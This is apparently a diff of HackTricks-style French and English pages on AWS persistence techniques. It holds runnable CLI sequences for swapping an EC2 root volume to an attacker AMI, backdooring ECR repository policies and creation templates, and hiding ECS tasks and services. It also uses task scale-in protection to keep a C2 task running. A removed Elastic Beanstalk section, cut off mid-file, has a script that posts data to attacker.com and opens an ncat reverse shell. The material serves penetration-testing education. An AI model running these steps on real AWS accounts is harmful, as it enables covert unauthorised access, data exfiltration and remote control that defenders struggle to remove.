Il est possible de planifier l'exécution d'instances quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait faire tourner une machine disposant de privilèges élevés ou d'un accès intéressant auquel il pourrait accéder.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Les Spot instances sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite spot fleet request pour 5 year** (par exemple), avec une attribution **automatique d'IP** et un **user data** qui envoie à l'attaquant **lorsque la spot instance démarre** l'**adresse IP**, et avec un **IAM role** hautement privilégié.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Un attaquant pourrait obtenir l'accès aux instances et les backdoorer :
|
||||
|
||||
- En utilisant un **rootkit** traditionnel par exemple
|
||||
- En ajoutant une nouvelle **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Installer une backdoor dans le **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Installer une backdoor dans l'AMI utilisée
|
||||
- Installer une backdoor dans le User Data
|
||||
- Installer une backdoor dans le Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Échanger le volume EBS racine d'une instance en cours d'exécution contre un volume construit à partir d'une AMI ou d'un snapshot contrôlé par l'attaquant en utilisant `CreateReplaceRootVolumeTask`. L'instance conserve ses ENIs, IPs, et role, démarrant ainsi dans du code malveillant tout en semblant inchangée.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Créer un VPN pour que l'attaquant puisse se connecter directement au VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Créer une connexion de peering entre le VPC victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC victime.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Exploiter **ec2:CreateReplaceRootVolumeTask** pour remplacer le volume racine EBS d'une instance en cours d'exécution par un volume restauré depuis une AMI ou un snapshot contrôlé par l'attaquant. L'instance redémarre automatiquement et reprend avec le système de fichiers racine contrôlé par l'attaquant tout en conservant les ENIs, les IP privées/publiques, les volumes non-racine attachés, et les métadonnées de l'instance / le rôle IAM.
|
||||
|
||||
## Prérequis
|
||||
- L'instance cible utilise EBS comme stockage racine et s'exécute dans la même région.
|
||||
- AMI ou snapshot compatible : même architecture/virtualisation/mode de démarrage (et codes produit, si applicables) que l'instance cible.
|
||||
|
||||
## Vérifications préalables
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Remplacer le volume racine depuis une AMI (préféré)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternative — en utilisant un snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Preuves / Vérification
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Résultat attendu : ENI_ID et PRI_IP restent les mêmes ; l'ID du root volume passe de $ORIG_VOL à $NEW_VOL. Le système démarre avec le système de fichiers provenant de l'AMI/snapshot contrôlée par l'attaquant.
|
||||
|
||||
## Remarques
|
||||
- L'API ne requiert pas que vous arrêtiez manuellement l'instance ; EC2 orchestre un redémarrage.
|
||||
- Par défaut, le volume EBS racine remplacé (ancien) est détaché et laissé dans le compte (DeleteReplacedRootVolume=false). Cela peut être utilisé pour une restauration ou doit être supprimé pour éviter des coûts.
|
||||
|
||||
## Restauration / Nettoyage
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,101 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Image Docker cachée contenant du code malveillant
|
||||
|
||||
Un attaquant pourrait **téléverser une image Docker contenant du code malveillant** dans un repository ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services du compte, tels que Amazon ECS ou EKS, de manière discrète.
|
||||
|
||||
### Politique du dépôt
|
||||
|
||||
Ajoutez une politique à un dépôt unique pour vous accorder (ou accorder à tout le monde) l'accès au dépôt :
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Notez que ECR exige que les utilisateurs disposent de **l'autorisation** d'appeler l'API **`ecr:GetAuthorizationToken`** via une stratégie IAM **avant de pouvoir s'authentifier** sur un registre et pousser ou tirer des images depuis n'importe quel dépôt Amazon ECR.
|
||||
|
||||
### Politique de registre et réplication inter-comptes
|
||||
|
||||
Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tout d'abord, vous devez accorder au compte externe l'accès au registre via une **politique de registre** telle que :
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Ensuite, appliquez la configuration de réplication :
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Modèles de création de repository (préfixe backdoor pour les futurs repos)
|
||||
|
||||
Abuser des Repository Creation Templates d'ECR pour backdoor automatiquement tout repository qu'ECR crée automatiquement sous un préfixe contrôlé (par exemple via Pull-Through Cache ou Create-on-Push). Cela accorde un accès persistant non autorisé aux futurs repos sans toucher aux existants.
|
||||
|
||||
- Permissions requises : ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (utilisé par le template), iam:PassRole (si un rôle personnalisé est attaché au template).
|
||||
- Impact : Tout nouveau repository créé sous le préfixe ciblé hérite automatiquement d'une repository policy contrôlée par l'attaquant (p. ex., lecture/écriture inter-compte), de la mutabilité des tags et des paramètres d'analyse par défaut.
|
||||
|
||||
<details>
|
||||
<summary>Backdoor les futurs repos créés par PTC sous un préfixe choisi</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,103 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
# AWS - ECS Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tâche ECS périodique cachée
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Tester
|
||||
|
||||
Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **planifier l'exécution périodique d'une tâche malveillante**. Cette tâche peut effectuer de la reconnaissance, exfiltrer des données, ou maintenir la persistance dans le compte AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester
|
||||
|
||||
Un attaquant peut ajouter un **stealthy backdoor container** dans une ECS task definition existante qui s'exécute aux côtés des conteneurs légitimes. Le backdoor container peut être utilisé pour la persistance et pour mener des activités malveillantes.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Service ECS non documenté
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester
|
||||
|
||||
Un attaquant peut créer un **service ECS non documenté** qui exécute une tâche malveillante. En réglant le nombre souhaité de tâches au minimum et en désactivant la journalisation, il devient plus difficile pour les administrateurs de détecter le service malveillant.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### Persistance sur ECS via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Abuse ecs:UpdateTaskProtection pour empêcher les tâches de service d'être arrêtées par des événements de scale‑in et des déploiements progressifs. En prolongeant continuellement la protection, un attaquant peut maintenir une tâche longue durée en fonctionnement (pour du C2 ou la collecte de données) même si les défenseurs réduisent desiredCount ou poussent de nouvelles révisions de tâche.
|
||||
|
||||
Steps to reproduce in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Impact : Une tâche protégée reste RUNNING malgré desiredCount=0 et bloque les remplacements lors de nouveaux déploiements, permettant une persistence furtive et de longue durée au sein du service ECS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
En modifiant la **resource policy et/ou security groups**, vous pouvez essayer de maintenir votre accès au système de fichiers.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
Vous pouvez **create an access point** (avec un accès root à `/`) accessible depuis un service où vous avez implémenté **other persistence** afin de conserver un accès privilégié au système de fichiers.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,81 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
